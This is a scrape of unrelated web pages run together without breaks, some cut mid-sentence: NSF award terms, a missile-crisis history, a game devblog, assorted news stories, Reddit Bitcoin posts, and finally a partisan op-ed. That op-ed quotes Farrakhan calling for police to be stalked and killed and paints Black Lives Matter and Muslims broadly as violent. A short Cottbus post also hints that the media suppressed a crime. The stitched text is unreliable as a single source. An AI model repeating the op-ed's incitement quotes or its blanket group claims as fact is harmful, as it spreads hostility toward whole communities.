are declined will be advised as promptly as possible by the cognizant NSF Program administering the program. Verbatim copies of reviews, not including the identity of the reviewer, will be provided automatically to the Principal Investigator. (See Section VI.B. for additional information on the review process.) B. Award Conditions An NSF award consists of: (1) the award notice, which includes any special provisions applicable to the award and any numbered amendments thereto; (2) the budget, which indicates the amounts, by categories of expense, on which NSF has based its support (or otherwise communicates any specific approvals or disapprovals of proposed expenditures); (3) the proposal referenced in the award notice; (4) the applicable award conditions, such as Grant General Conditions (GC-1)*; or Research Terms and Conditions* and (5) any announcement or other NSF issuance that may be incorporated by reference in the award notice. Cooperative agreements also are administered in accordance with NSF Cooperative Agreement Financial and Administrative Terms and Conditions (CA-FATC) and the applicable Programmatic Terms and Conditions. NSF awards are electronically signed by an NSF Grants and Agreements Officer and transmitted electronically to the organization via e-mail. *These documents may be accessed electronically on NSF's Website at https://www |
historians noted, U.S. radars did not detect this incident in real time because height-finding radars “were being used for more ‘specialized work’” for the National Security Agency (See pages 15-16). Although the U-2 flight that strayed into Soviet territory had significant implications for the crisis, this history does not cover that episode. Besides the U-2 flights this history shows how SAC aircraft helped support the blockade of Cuba by searching for Soviet ships in the Atlantic. Besides detailing intelligence operations, this history provides useful information on one of the most dramatic and dangerous features of the missile crisis: SAC’s intensified readiness posture. Within hours of President Kennedy’s October 22 speech, SAC forces were on a DEFCON (Defense condition) 2 posture, the highest level of US force readiness short of a decision to go to war. By October 24, 1962, SAC had 1,436 bombers, 145 missiles, and about 2,900 nuclear weapons ready for striking Soviet targets (Pages 96-97). While most of the bombers were on ground alert, 65 nuclear-armed bombers were in the air at any given moment. At the time of the missile crisis, the ICBM force mainly comprised liquid-fueled Atlas and Titan missiles. The solid-fueled Minutemen ICBMs were in the earliest stages of deployment, and only a handful was available; contractors had to remain at the Minuteman sites to prevent any degradation of the alert. SAC bombers and missiles remained on a high state of alert until November 24, weeks after the resolution of the crisis.Cow_Trix
This week I’ve been testing and writing documentation for the new modding framework, and the creating of Construction Packs. I’ve also been preparing for the next patch – more info below! All hosted on the official wiki, you can now read how to Create a Construction Pack, Install a Construction Pack, how the Construction Attachment Editor works, and more! I also brought all the other modding documentation up to date, as a few things have changed. There’s still a bit to do, as testing the modding framework has led to a few changes over the past week. Whereas before I had thought of the architecture as Levels, Construction Packs, and then whatever we added in the future, after some discussion I realised that it’s really Levels and then an overarching additive Mod category, as we want mods to be able to incorporate multiple levels of custom content. For instance, a mod should be able to package up all into one custom vehicles, construction pieces, dynamic objects, and all of that, in any combination.
In between writing documentation, I put in a bit of visualization for construction attachment rotations. Now, you’ll be able to clearly see when an attachment point in the construction system has multiple rotations, what those rotations are, and what rotation you are currently on. This should make multiple attachment rotations a bit more intuitive.
I also have been working on getting basic networked entities into the SDK. At this point, you’ll be able to spawn dynamic objects into the world, but they won’t be able to do much. As of the next patch, we’ll probably support dynamic networked rigidbodies, which will sync their positions. Which, I reckon, you’ll be able to do some very, very cool stuff with, when combined with Oxide! This will be a huge boon for those mods, which will now be able to use custom assets as well as in-built ones.
We’ll be aiming to get this patch out by this Friday, the 24th of June. This patch is not backwards compatible, so all servers will wipe when upgrading. This is always unfortunate, especially for community servers that prefer to never wipe. However, I know most of the official infin-wipe servers are aching for a wipe. This also means that the 14-day servers will actually be 7-day servers for this cycle.
Gavku
So I have finished up the MP5 and it looks to be a good test case for weapon attachment/modifiers. I may end up tweaking a couple of the maps slightly once we have it on the player and can accurately view it in first person etc, but I think in general its fine especially for a stock standard smg.
Having the multiple scopes will be fun as we currently dont have any in game atm. Next up for me is to jump back on to character gear 😉
Mils
I have been testing performance with our new grid culling system which I covered in the Devblog a couple of weeks ago. I did some tests using different sized grids with different culling distances as below;
Baseline test – No Culling
Culling 100×100 metre 50% cull distance
Culling 50×50 metre 25% cull distance
Culling 200×200 metre 50% cull distance
We didn’t get great performance out of these and realised that the culling result was being applied based on the bounding box of the tallest object and how much of the vertical screen-space it was taking up. What is preferable and simpler for us is to set distance culling per grid square. This would be calculated from the center of each grid space to the POV of the player.
So Tom is busy fixing the culling tool (amongst other things) and in the meantime I am pushing on to the suburbs and industrial areas around the city.
The suburbs are going to be achieved by standalone one unit structures, spaced out around the road network.
Above shows the same building just rotated 180 degrees. Where possible I will try to create buildings that have a dual frontage design. This will allow us to flesh out the suburbs quickly.
Swapping textures will also help use the same meshes whilst having a bit of visual difference. That said I would like to get a few different designs into the house zone.
Below are more versions of the same house simply with swapped textures. Makes quite a believable neighbourhood with the added fences.
Tom
This week I’ve been hunting down bugs in our vehicle system, a big thanks to all who contributed to the feedback discussion thread and helped with pinning some of this stuff down.
First up are the infamous vehicle launching bugs. This one was a tricky one as there were actually two separate issues that both caused the same behaviour. The vehicle launching bug occurs when the vehicle and an object that isn’t being simulated by the physics engine overlap. This causes a force to be applied to the vehicle to push it away from the overlapping object. Unity gives us a way to set a limit on this force but a bug causes this limit to get reset every time the vehicle is disabled and re-enabled. Now we are reapplying this limit every reset so objects like loot crates and resource nodes can no longer create huge forces on vehicles launching them into the air.
The other big launching bug comes from players, more specifically their character controller which is a special capsule shape collider that provides a nice controllable way to move a character around and collide with the physics engine. Remember that force limit I was talking about before? Unfortunately a bug means it is totally ignored when physics objects overlap with character colliders allowing vehicles to be launched into the air by players standing in them. This was very easy to achieve using a spear to lift a vehicle and crawling under the opening.
This has been fixed by listening for player collisions in the physics update and if any are detected that are generating a large force then the vehicle velocity is reset to whatever it was before the physics step. Here you can see a before/after gif of the behaviour.
Speaking of flipping vehicles with the spear, I noticed this was very inconsistent and tracked down another bug in the way the collision check was being applied. You can now aim the spear with the crosshair to flip vehicles rather than looking at the ground. The vertical offset that was being applied to the collision before has now been moved to the flipping force so you should find this behaviour a lot more consistent and easier to use once these changes go live.
I’ve also been looking into how the vehicles and landmines play together and tracked down another bug with how explosive forces were being applied. Previously we were applying the force for each collider in the vehicle when it should have only been applied once for each vehicle. Because a vehicle can have a different number of colliders based on its configuration and vehicle type this was leading to some pretty inconsistent behaviour.
Here you can see a before/after gif of a roach running over a landcrab mine.
I’m also looking into reapplying explosive damage to the driver in these situations as a temporary fix but ultimately we need to make the vehicles destructible and it should be the exploding vehicle that kills you rather than the exploding mine.
Several people on the vehicle feedback thread brought up the need to be able to crash the motorbike. I agree with this both from a realism and a gameplay perspective so I’ve started working on a crash system. Generally in a crash system you want to ragdoll the player and let the physics system sort it out. Unfortunately in a networked game you either use a lot of bandwidth syncing up all of the player skeleton accurately or you run into desync issues because most physics engines aren’t deterministic meaning given the same inputs there is no guarantee of the same output. This is why we run all our vehicle physics server side.
So far I’ve been experimenting with running the torso of the player server side and then running physics on the limbs on the client. This keeps the player position in sync even if the exact ragdoll pose isn’t which gives us relatively consistent behaviour without a huge overhead on the network.
Whilst the motorbike and vehicle overhaul are still a ways off we should be able to push the bug fixes with vehicle launching into the next patch so look out for that.
Spencer
Last week I’ve been working on upgrading the ballistics system to bring it inline with ItemV2. The first area of focus has been moving projectiles from being what we call first class entities into a system that is managed in a central point. As none of our bullets are hitscan (no travel time), we have to deal with the extra challenge of client side predicting real world objects that are constantly being created and destroyed. If we didn’t, and just waited for the server to spawn the bullet before you see it, there would be a very noticeable delay when firing a gun, especially on higher ping servers.
To prevent the problem of your client needing to predict an entity that doesn’t yet exist, we cheated slightly by spawning the bullet projectiles for the gun ahead of time. The server sends your client a message when you equip the gun saying “The next bullets you fire will be entity: 125,128 then 141…”. When you fire your weapon, your client looks for the next bullet in the list and fires it predicatively, knowing that the server will be firing the same entity once it gets the message that you fired.
This method has heaps of overhead, as with an automatic rifle, the server is constantly instantiating fully networked entities and sending queue messages to the client upto 20 times per second. Sometimes one of these packets can get lost, causing the client to predict the fire of a different bullet than the server. This is pretty easy to detect, but requires the entire bullet buffer be thrown away, re spawned and re queued. I’m sure most of you have experienced this when your gun won’t shoot for a couple of seconds for no reason, quite often resulting in you getting killed.
The solution I’ve been working on this week, is downgrading bullets from first class entities to virtual objects managed by the ballistics system. The ballistics system is a single networked entity that is responsible for all bullet projection, hit detection and visualization across the entire game. Now when a bullet is fired, the ballistics system is notified with all the relevant properties of the weapon, it can first create a local predicted bullet on your client and create a hash of the event that created it. By using the exact time tick when it was fired and playerid that fired it we can infer a unique enough identifier for the bullet that the server can also automatically determine at fire time. Meaning no pre-sharing of bullet sequence is required. The second benefit to this is bullets will use a fraction of the CPU time and eliminate all garbage generated as we can properly pool the local virtual entities without upgrading them to the network system.
Part of this will allow us to bring into line, what the person who fires sees and what everyone else sees. An example of this is when someone other than you fires an arrow at a Shigi; it dies, but on your screen there was no blood splat or hit sound, just a dust puff. By tweaking the responsibility of how the effect is generated, this should come back into line.
My second focus last week was improving the melee swing mechanics. Previously all melee weapons were a directly straight raycast from the center of the screen over a couple of frames. To more accurately represent the movement of the weapon I have introduced a fully configurable projection setup. Each weapon can model their swing arc using either a sphere cast or capsule cast. Like everything else I’ve been doing lately, this fully supports modding.
This week I will be nutting out the long awaited recoil system.
Release Date
Folks wondering when this stuff will make it into the game, we are still a couple of months out yet for all ItemV2 stuff. The main reason for the delays are the change of architecture requires a lot of re-implementing how items are built. Whenever I come across something that needs improvement, it pains me to port over sub par system and is much quicker in the long run to bring them upto scratch while I’m working on them.Two cows and a calf are still on the loose after they got free from their farm in Loudoun County on Monday.
WASHINGTON — Two cows and a calf are still on the loose after they got free from their farm in Loudoun County, Virginia, on Monday.
Mark Stacks, of Loudoun County Animal Control, said that three cows and the calf were on a pasture at Rock Spring Farm, off Dry Mill Road, in Leesburg, when they got free through an open back gate Monday afternoon and headed toward County Club Drive. Animal Control, and the cows’ owner, found one of the cows and confined her in a field off Dry Mill Road, but the rest haven’t been found.
Stacks said that they’re in a heavily wooded area, and “we don’t know where they are.” The owner and a few farmhands are still out looking for the livestock, but Animal Control is waiting for calls from people who have seen them.
If you see them, Stacks asked, call Animal Control at 703-777-0406.
Like WTOP on Facebook and follow @WTOP on Twitter to engage in conversation about this article and others.
© 2017 WTOP. All Rights Reserved.Tom Watson has hit back at Theresa May after she appeared to mock him for singing at an event in which he pledged to fight anti-Semitism in the Labour party.
The Prime Minister described the Labour deputy leader's rendition of the traditional Jewish anthem Am Yisrael Chai during a speech at a Labour Friends of Israel lunch last month as "karaoke".
She also launched a blistering attack on Labour, accusing the party of " turning a blind eye" to anti-Semitism among its members and supporters.
In a speech to the Conservative Friends of Israel today, Mrs May said: "I understand this lunch has a lot to live up to after the extraordinary scenes at the Labour Friends of Israel event.
“It began, unusually, with Tom Watson giving a full-throated rendition of Am Yisrael Hai [sic]. The audience joined in as his baritone voice carried across the hall. 'Am Yisrael Hai - the people of Israel live’. It is a sentiment everybody in this room wholeheartedly agrees with.
"But let me say this: no amount of karaoke can make up for turning a blind eye to anti-Semitism. No matter what Labour say – or sing – they cannot ignore what has been happening in their party."
At the Labour event last month, Mr Watson acknowledged Labour had been too slow to deal with the problem, but pledged it would not happen again.
He said: "I know that people here are understandably frustrated by how long it’s taking the Labour party to deal with anti-Semitism in our midst. You’re right to be. It should have been quicker.
"I know there are still some outstanding issues that cannot be ignored. They won’t be ignored. Action is being taken now and if, God forbid, we find these problems again, action will be quicker in the future."
In response to Mrs May's comments, a spokesman for Mr Watson told PoliticsHome: "Given the seriousness of the issue, the Prime Minister was wrong to make light of Tom's speech.
"He was expressing solidarity with the Jewish community by singing Am Yisrael Chai, as everyone who was in the room that day recognised, and he said the Labour party should and would act more quickly to deal with incidents of anti-Semitism."
A spokesman for Mr Corbyn said: “Jeremy Corbyn and the Labour party share the view that language or behaviour that displays hatred towards Jews is anti-Semitism, and is as repugnant and unacceptable as any other form of racism,” a spokesperson said.
“Jeremy has consistently spoken out against all forms of anti-Semitism and condemned all anti-Semitic abuse, and set up the Chakrabarti inquiry into anti-Semitism and other forms of racism.
“Its recommendations have already led to far-reaching changes to the rules and practice of the Labour party.
“He has also taken decisive disciplinary action over allegations of anti-Semitism, including a series of suspensions and exclusions from membership.”A man who cut out his penis piercing with a razor blade was horrified when it became infected and the skin started to die.
The 26-year-old had to have all the skin removed from his manhood after it became rotten.
The patient, from Suriname, South America, said he had put several 'nodules' into his penis 10 years ago as an act of teenage rebellion.
These are small pieces of plastic, glass or metal that are usually implanted by men who like how they look or feel – or to increase pleasure for their sexual partner.
A man who cut out his penis piercing with a razor blade was horrified when it became infected and the skin started to die
He explained he had removed most of the nodules over the years, but the last one – around one centimetre in diameter – was still under his foreskin and started to hurt during sex.
He noticed the skin of his penis had swollen around the nodule, and after a month, he decided to take matters into his own hands, said doctors describing the case in the journal BMJ Case Reports.
Using a razor blade, he cut out the last nodule at home – but was forced to go to hospital when it wouldn’t heal a few days later.
Doctors prescribed antibiotics but the wound deteriorated - becoming so infected he was referred to another hospital in Suriname's capital, Paramaribo, for further treatment.
There, he told medics he was having difficulty urinating and his penis was swollen.
When they examined it, they found the majority was covered with black plaques where the skin had become rotten and died – and they reported a ‘foul odour’.
Shocked, they also noticed a lymph node in his left groin was enlarged due to the horrific infection.
The patient was immediately admitted to hospital and a catheter was inserted.
The 26-year-old had to have all the skin removed from his manhood after it became rotten - but two months later he reported it had healed and he had no problems during sex (file photo)
This is a thin tube put into the urethra to pass urine and keep it away from the infected wound.
Under local anaesthetic, doctors performed surgery to remove the dead skin from the shaft of his penis – cutting away his entire foreskin.
They sent swabs from his wounds to the laboratory to be tested, which revealed he was riddled with E.Coli and Staphylococcus bacteria, known to cause severe infections.
After the catheter was removed, he was discharged – and two weeks later tests showed the wound was no longer covered in bacteria.
Next, he was referred to a plastic surgeon for a skin graft on his penis, but refused it, instead opting to wait and see how the he skin would heal on its own.
After two months, he saw doctors for a check-up and reported it had healed well, and he wasn't having any problems during sex.
In light of his case, doctors recommend penis nodules are removed by medically trained personnel.By By Kev Hedges Oct 1, 2010 in Technology The BMW motor vehicle company has recalled more than 350,000 of its cars worldwide after they noted a braking problem in the vehicles. In the UK some 26,000 BMW models as well as about 1,200 Rolls-Royces are being recalled. The problem involves leaks which could develop in the power braking system, leading to vacuum loss and a reduction in power braking assistance. A BMW spokesman said: We are writing to all the owners involved asking them to arrange a service appointment. There have not been any accidents or injuries. Mechanical braking is still available to slow and stop the vehicle. In the United States it's expected nearly 200,000 cars will be recalled as reported in It was only in May this year when BMW was forced to recall 122,000 motorcycles after a leak in its braking system was detected. Earlier this year Japanese carmaker Toyota recalled more than 8.5 million cars worldwide due to an accelerator and brake pedal fault as reported in A helpline has just been set up for United Kingdom BMW owners, it has just been announced. The number is 0800 325600 (toll fee rates apply) The affected cars are BMW 5, 6 and 7 Series vehicles powered by V8 and V12 engines from the 2002-2010 model years. Also some Rolls-Royce Phantom cars from the 2003-2010 model years are subject to the same problem, reports the Press Association In the UK some 26,000 BMW models as well as about 1,200 Rolls-Royces are being recalled. The problem involves leaks which could develop in the power braking system, leading to vacuum loss and a reduction in power braking assistance. A BMW spokesman said:Mechanical braking is still available to slow and stop the vehicle. In the United States it's expected nearly 200,000 cars will be recalled as reported in Sky News It was only in May this year when BMW was forced to recall 122,000 motorcycles after a leak in its braking system was detected.Earlier this year Japanese carmaker Toyota recalled more than 8.5 million cars worldwide due to an accelerator and brake pedal fault as reported in Digital Journal A helpline has just been set up for United Kingdom BMW owners, it has just been announced. The number is 0800 325600 (toll fee rates apply) More about Bmw recall cars, Bmw rolls royce recall, Brake problem Bmw recall cars Bmw rolls royce reca... Brake problemIn 1994, several groups were involved in an attempt to relocate the Minnesota Timberwolves of the National Basketball Association (NBA) from Minneapolis, Minnesota to New Orleans, Louisiana. The proposed relocation would have been the second involving a Minneapolis-based franchise in the span of two years, as Minneapolis had lost its National Hockey League (NHL) franchise to Dallas in 1993. Timberwolves owners Marv Wolfenson and Harvey Ratner were considering selling the team due to problems with the mortgage on the Target Center, the team's arena that had been built only four years earlier as part of Minneapolis' 1989 entry into the NBA. The events of the attempted relocation resulted in Glen Taylor, businessman and former Minnesota State Senator, purchasing the team and keeping it in Minneapolis.
After their failed courting of the Timberwolves, New Orleans made attempts to lure the Vancouver Grizzlies and Charlotte Hornets to the city in the 2000s and found success when the Hornets, who had considered both New Orleans and Memphis (where the Grizzlies eventually moved), elected to move to Louisiana in 2002. The Hornets would since then revive their franchise name back in Charlotte in 2014, while the original Charlotte Hornets would be renamed the New Orleans Pelicans in 2013.
Relocation speculation [ edit ]
By the 1994 NBA All-Star Game, speculation as to whether or not the Timberwolves would remain in Minneapolis following the 1994–95 season became an issue. On February 11, 1994, NBA commissioner David Stern announced that he and his representatives would serve as mediators in an effort to resolve issues related to the debt owed on the Target Center, the Timberwolves home arena.[1] The Timberwolves ownership was seeking a public or private entity to purchase the $73 million remaining on the arena's mortgage, otherwise the team would be sold and in all likelihood moved from Minnesota.[1] Although mediation talks were just beginning to keep the team in place, by the following week it was revealed that ownership had met with representatives from San Diego, Nashville and New Orleans to discuss the potential relocation of the franchise.[2] By late February, New Orleans emerged as the likely city for the team to relocate to if a deal could not be reached to keep the team in Minneapolis. This became the case after the potential ownership group Top Rank signed a letter of intent to purchase the team and move it to New Orleans if debt issues at the Target Center were not resolved.[3]
Although a potential local ownership group was identified in late February,[4] local opposition to a perceived bailout of multi-millionaire ownership began to take hold.[5] A citizens opposition group called Don't Target Us (referencing the Target Center in their name) formed to voice their opposition to a public purchase of the facility. Additionally, polling at the time showed support for public intervention as being unfavorable with 60% of those polled being against intervention.[5] However support for intervention on the arena issue began to take shape as well with several at the local and state level stating their intention to make a deal happen. Additionally, businesses near the arena starting a campaign to keep the team in Minneapolis.[6]
While political maneuvering was continuing in Minnesota, by early April it was reported that Nashville had become the favored place for relocation over New Orleans.[7] The Nashville offer became the preferred option as it included $80 million for the franchise from Gaylord Entertainment and an additional $20 million to be paid to the city of Minneapolis to pay down debt at the Target Center.[8] New Orleans later reemerged as the lead candidate for relocation by the end of April when Top Rank announced a purchase price of $152.5 million.[9] By early May, the Minnesota state legislature approved a bill that would use public funds to purchase the Target Center for $48 million.[10] The purchase by the state was contingent on ownership agreeing to keep the franchise in the arena for 30 years.[10] However, ownership could not find a local suitor willing to pay what Top Rank had offered for the franchise setting the stage for relocation.[11]
Proposed move to New Orleans [ edit ]
After months of speculation, on May 23, 1994, Top Rank successfully purchased the franchise for $152.5 million with the intention of relocating it to New Orleans.[12] The purchase occurred following an agreement between Top Rank and Timberwolves ownership that allowed Top Rank to purchase the franchise if no local ownership groups were found by May 20, 1994.[13] On June 6, 1994, Top Rank officially filed the paperwork to the NBA seeking to relocate the Timberwolves to New Orleans for the 1994–95 NBA season.[14] The filings also identified Fred Hofheinz as the sole Top Rank stockholder, with Houston lawyer John O'Quinn and stockbroker Robert Higley serving as the team's major partners.[14]
With the timber wolf being a species not native to Louisiana, there was much speculation as to what the relocated franchise would be called.[15] Although never officially changed, some of the proposed names included: Rhythm from New Orleans Mayor Marc Morial and Angels from Louisiana Governor Edwin Edwards.[15] After speculation as to where the team would play their home games while a new arena was constructed, Superdome officials notified the league that enough dates would be available to schedule 41 home games at the dome for the 1994–95 season.[16] Prior to this announcement, the team was rumored to play games at the Lakefront Arena, the Pete Maravich Assembly Center in Baton Rouge, or the Mississippi Coast Coliseum in Biloxi, Mississippi when the Superdome was unavailable.[16]
Remaining in Minneapolis [ edit ]
On June 15, 1994, the National Basketball Association's franchise relocation committee voted unanimously to block the sale of the franchise to Top Rank resulting in the Timberwolves remaining in Minneapolis through at least the 1994–95 season.[17] Top Rank's offer was rejected by the league due to questions surrounding their financing plan. The $152 million purchase price would have been paid for through $40 million from unknown investors; up to $76.25 million in loans from banks that had yet to make commitments; and $50 million or more from undisclosed sources based on projected revenues from the un-built arena in New Orleans.[17] Also, the league filed a lawsuit in U.S. District Court in Minneapolis seeking an injunction against any transfer of the team from Minnesota.[18] On June 21, 1994, the league officially denied sale of the franchise to Top Rank resulting in the Timberwolves remaining in Minneapolis.[19] On June 28, 1994, Top Rank would file a counter-suit in Louisiana Civil District Court.[20] The suit sought to have ownership fulfill their contractual obligation to sell the team to Top Rank. The following day, federal district court ruled that the franchise was to remain in Minneapolis through June 15, 1995.[21]
After over eight months of working to purchase the franchise, local businessman Bill Sexton withdrew his bid to purchase the Timberwolves in August.[22] However, Glen Taylor later headed a group to purchase the team with the NBA approving the transaction in October 1994.[23] By 1995 Top Rank would enter involuntary bankruptcy and as a result, the NBA rejected their offer securing the franchise in Minneapolis.[24]
In the years following the attempt to relocate the Timberwolves, the New Orleans Regional Basketball Alliance sought to lure an existing franchise to the city. After completion of the New Orleans Arena, the Alliance led efforts to relocate the Vancouver Grizzlies to the city.[25] The New Orleans bid ultimately lost out to Memphis, and by early 2002 the city looked to the Charlotte Hornets to potentially relocate to the city.[26] The Hornets became attractive to relocate following a failed referendum for a new arena in Charlotte.[26] On May 10, 2002, the NBA voted in favor of the relocation of the Hornets to New Orleans marking the return of the NBA to the city since the relocation of the New Orleans Jazz to Salt Lake City in 1979.[24] In November 2002, the Timberwolves made their first trip to New Orleans since the failed relocation efforts of the Top Rank group in 1994.[27]
See also [ edit ]
References [ edit ]Nahid Almanea was a post-graduate student from Saudi Arabia when she was killed in a brutal attack in Colchester, Essex last week. The Muslim woman was stabbed 16 times by her attacker as she walked through the town; police are still looking for her attacker. She was buried in her hometown, Al-Jouf in Saudi Arabia over the weekend, where thousands of mourners gathered to pay their respects.
Studying at the University of Essex, Nahid was one of the many thousands of students who arrive in Britain every year from the Middle East. Estimates from the Higher Education Statistics Agency revealed that there were at least 22,365 Middle East students at British universities in 2012/2013. Of those, at least 9,440 were from Saudi Arabia. Indeed, the University of Essex has more than 200 students from the kingdom, who have their own student union society.
As news of her murder broke the Guardian reported that the Saudi ambassador had taken an active role in the case. “Prince Mohammed bin Nawaf expressed in a telephone call on Tuesday to the brother of the deceased his sincerest condolences to her family, affirming the embassy’s speed in taking all the procedures for the transfer of the body of the deceased to the kingdom,” said an embassy statement. “He also asserted that the case is receiving his personal attention.”
Concerns about the nature of the attack and the reasons behind it fuelled much of the discussion in the media. Newspapers reported that the student had been wearing a hijab and abaya, making her clearly identifiable as a Muslim. The Essex police investigating the attack have not yet identified the attack as Islamophobic, but there are clear concerns being raised that this could be very much a part of the wider problem of Islamophobia in the UK. A number of Arab media outlets reported on the murder within the context of growing anti-Muslim sentiment in Britain; indeed, one news outlet, arabnews.com, reported the story as such. Other Arab media claimed that the links between increased British reporting on the Middle East and Islam in a negative way often contribute to Islamophobia, including physical and verbal attacks on Muslims.
A quick scan of the Arab press revealed concerns about how Islamophobia in Britain could affect Muslims and Arabs visiting or studying in the UK. Earlier this year, the #London_is_not_safe hashtag was taken up after families from the United Arab Emirates were targeted by thieves. This time the hashtag was used as Arab students raised their concerns about studying in a country where they feel that Muslims are not safe.
Although the British government has pledged to tackle Islamophobia, with Baroness Sayeda Warsi establishing an anti-Islamophobia cross-party working group, reports by a number of institutions, including some police forces, have reported that the phenomenon is on the rise. See, for example, mend.org.uk. In some regions of England and Wales there have been reports of a 100 per cent increase in anti-Muslim hate crime, and in London alone there was a 69 per cent increase in reported Islamophobic crimes from April 2013 to April 2014.
This worrying trend is clearly not unnoticed by the Arab media and as incidents such as Nahid’s murder make the headlines there will be little to ease their fears. Sadly, her killing has echoes of the case of an Emirati student who was attacked in Kent shortly after the London 7/7 bombings; his attackers were reported to have made remarks about the bombings before assaulting him. Recent reports have suggested that such Islamophobic attacks are often exacerbated at times when issues to do with Islam and the media are higher up the political, and therefore news agenda. Post 7/7 the British media’s focus was on the Muslim identity of the perpetrators and this is being repeated in the current reports of British citizens fighting for ISIS in Iraq and Syria.
Whether or not it is established that Nahid’s murder was motivated by Islamophobia, it is likely to have an effect on links between Britain and the Middle East, particularly the Gulf countries, which have invested heavily in the UK over the past few years. Business links with the Middle East continue to thrive for the time being but if the Arab media continue to highlight threats to Arabs in Britain, students, tourists and investors may look elsewhere.
The murder of Nahid Almanea was a tragic, devastating event that has changed her family life forever. It would be an even wider tragedy if anti-Muslim, anti-Islam hatred is allowed to flourish, threatening not only visitors and investment from the Middle East but also the three million Muslims for whom Britain is a much-loved home.
The views expressed in this article belong to the author and do not necessarily reflect the editorial policy of Middle East Monitor.No, Amazon and Apple stock are not crashing.
AMZN, -1.48% But incorrect stock data on the popular Google Finance and Yahoo Finance sites appeared to be freaking out some investors Monday evening. As of 8 p.m. Eastern, Google Finance said Amazon.com Inc. shares were down more than 87%, to $123.47. On Yahoo Finance, Amazon was down 74%, to $248.49. In reality, Amazonfinished the day down 1.5%, at $953.66, and was up 0.1% in after-hours trading, according to FactSet.
AAPL, -0.36% Apple Inc. shares were similarly skewed, with both Google and Yahoo Finance saying they were down 14%. Actually, Appleended the day down just 0.4%, at $143.50, according to FactSet, and was up slightly in after-hours trading.
Page views to MarketWatch’s stock pages — which remained accurate — soared as investors double-checked exactly what was going on Monday evening.
EBAY, -0.92% MAT, -2.51% MSFT, -1.10% The glitch appeared to be sporadic, and while some companies’ tickers were accurate, others skewed upward: Both finance sites showed EBayup 253%, Mattel Inc.up 473% and Microsoft Corp.up 79%.
A screenshot from Yahoo Finance.
The problem may have originated with data services providing Google and Yahoo their financial information. Google’s website says SIX Financial Information provides end-of-day prices, and Interactive Data Real-Time Services, Inc. provides intra-day prices.
Nasdaq’s website was not reporting anything amiss.
Google, SIX Financial Information and Interactive Data Real-Time Services’ parent company, Intercontinental Exchange, did not immediately respond for comment.Almost three months after a pensioner was found dead in Cottbus, the police have found a suspect. The young man was arrested in the city on Wednesday, said the Cottbus prosecutor's office and the police.
An arrest order due to suspicion of murder was issued. According to the investigators the suspect was a "young Syrian citizen" at the time of the offence, who came to Germany in 2015 accompanied by a guardian. The prosecutor's office did not disclose his exact age.
The Cottbus mayor Holger Kelch (CDU) called for calm in a statement published on the city website. "We know that the background of the suspected perpetrator will stir up emotion," he said. Satisfaction about the success of the investigation is mixed with concern "that now all foreigners living in Cottbus are under general suspicion," the city statement read.
The recent German media reports and the police are not disclosing the manner of her death. But at the time of the initial reports, it was reported that she was "tortured to death" ( link ).Strangely, I haven't seen any reports of this incident in the mainstream media.Organisers of Saturday’s anti-water charges march said the protest focus must now translate into mass non-payment of bills to provide the next government with a mandate for their abolition.
Organisers estimated 10,000 people – unofficial estimates placed the number at half this amount – marched from the Garden of Remembrance on Parnell Square to Leinster House where those refusing to pay were invited to dispose of their first bills in an awaiting, highly symbolic, dustbin.
“This demonstration is really to coincide with the bills being delivered. It probably would have been bigger if most of them had arrived but very few of them have,” said People Before Profit TD Richard Boyd Barret.
The rally incorporated the usual mix of colourful banners and marching chants that have come to |
Bitcoin! Help push them to do so!
1305 Upvotes
134 Comments
9. Conan O'Brien tweets, "Wow. Strippers get angry if you make it rain Bitcoins." 1290 Upvotes
166 Comments
Wow. Strippers get angry if you make it rain Bitcoins. — Conan O'Brien (@ConanOBrien) February 17, 2014
10. Andreas: Unanticipated bugs don’t come with year-old wiki pages fully documenting them. Gox is full of shit.
1293 Upvotes
203 CommentsThe jihadist mantra is “death to America, death to the Jews.”
While the Arab social media gloated over the slaughter of policemen in Dallas, where the prestigious job of police chief is held by a black man, jihadists have been courting blacks for some time.
Nation of Islam leader Louis Farrakhan called for murder of police last year in the name of Islam, and he invoked the Quran:
“Death is sweeter than to continue to live and bury our children, while white folks give the killer hamburgers. “Death is sweeter, than watching us slaughter each other, to the joy of a 400-year-old enemy. Yes, death is sweeter. “The Quran teaches persecution is worse than slaughter. Then it says, ‘Retaliation is prescribed in matters of the slain.’ Retaliation is a prescription from God, to calm the breast of those whose children have been slain. “So if the federal government will not intercede in our affairs, then we must rise up and kill those who kill us. Stalk them and kill them and let them feel the pain of death that we are feeling.”
In looking at statistics which the Washington Post has been collecting from 2015 to present, we find: police officers killed 732 whites and 381 blacks. The overwhelming majority of those cases involved the officer being attacked, often with a gun.
In looking at black-on-black homicide rates overall in 2014, which is the most recent year those stats are available, 90 percent of black homicide victims were killed by other black people. So rather than examine the social ills within the black community (which is not to ignore racism overall), the propagated myths of Black Lives Matter, which were examined in a Wall Street Journal article, are not only widely perpetuated but politicized by the worst leftists, and manipulated by jihadists.
Meanwhile, the first black Miss Alabama said that she was not upset by the five police officers murdered, but instead called the killer a “martyr”. The Black Lives Matter movement is not a peace-loving, pro-black movement, as Martin Luther King’s movement was before the equalization of blacks under the law. Black Lives Matter is a violence-promoting movement that works contrary to the beloved Martin Luther King’s ideals, as he embraced life and who preached that all lives mattered. In one of his statements, he condemned violence:
Man was born into barbarism
when killing his fellow man
was a normal condition of existence.
He became endowed with a conscience.
And he has now reached the day
when violence toward another human being
must become as abhorrent as eating another’s flesh.
That such hatred and incitement to violence and murder, espoused by the likes of Nation of Islam leader Louis Farrakhan — which is anti-Martin Luther King and contrary to his fine accomplishments for blacks — is tolerated against Jews and whites is dangerous and unjust, and has deep implications for the direction the West is headed in.
Also, the barbaric Islamic State leader Abu Bakr al-Baghdadi appealed to white and black men for the sake of so-called “equality” in the name of Allah.
“It is a state where the Arab and non-Arab, the white man and black man, the easterner and westerner are all brothers,” he said — an appeal aimed at broadening his support base beyond the Middle East. “Muslims, rush to your state. Yes, it is your state. Rush, because Syria is not for the Syrians, and Iraq is not for the Iraqis. The earth is Allah’s.”
No matter what America – or the West — does in terms of correcting its past wrongs such as slavery and colonialism, it will always be deemed collectively “guilty”. Americans and Westerners have not been able to fathom the hatred against them that is held by Islamic supremacists, who notoriously exploit the victimology narrative to try to destroy and conquer the West, and will stop at nothing to do so.
Interesting also is that black slaves and cruel racism are still going on in Islamic states, while the Darfur massacres of black Christians apparently have been forgotten. The days of slavery are over in America: blacks have equal rights under the law; while racism exists, it is not exclusive to blacks.
Jews who suffered in the Holocaust also experience ongoing racism, racist attacks and widespread anti-Semitism today, including attempts to delegitimize and destroy the Jewish homeland of Israel. Yet this is what the Nation of Islam thinks of Jews:
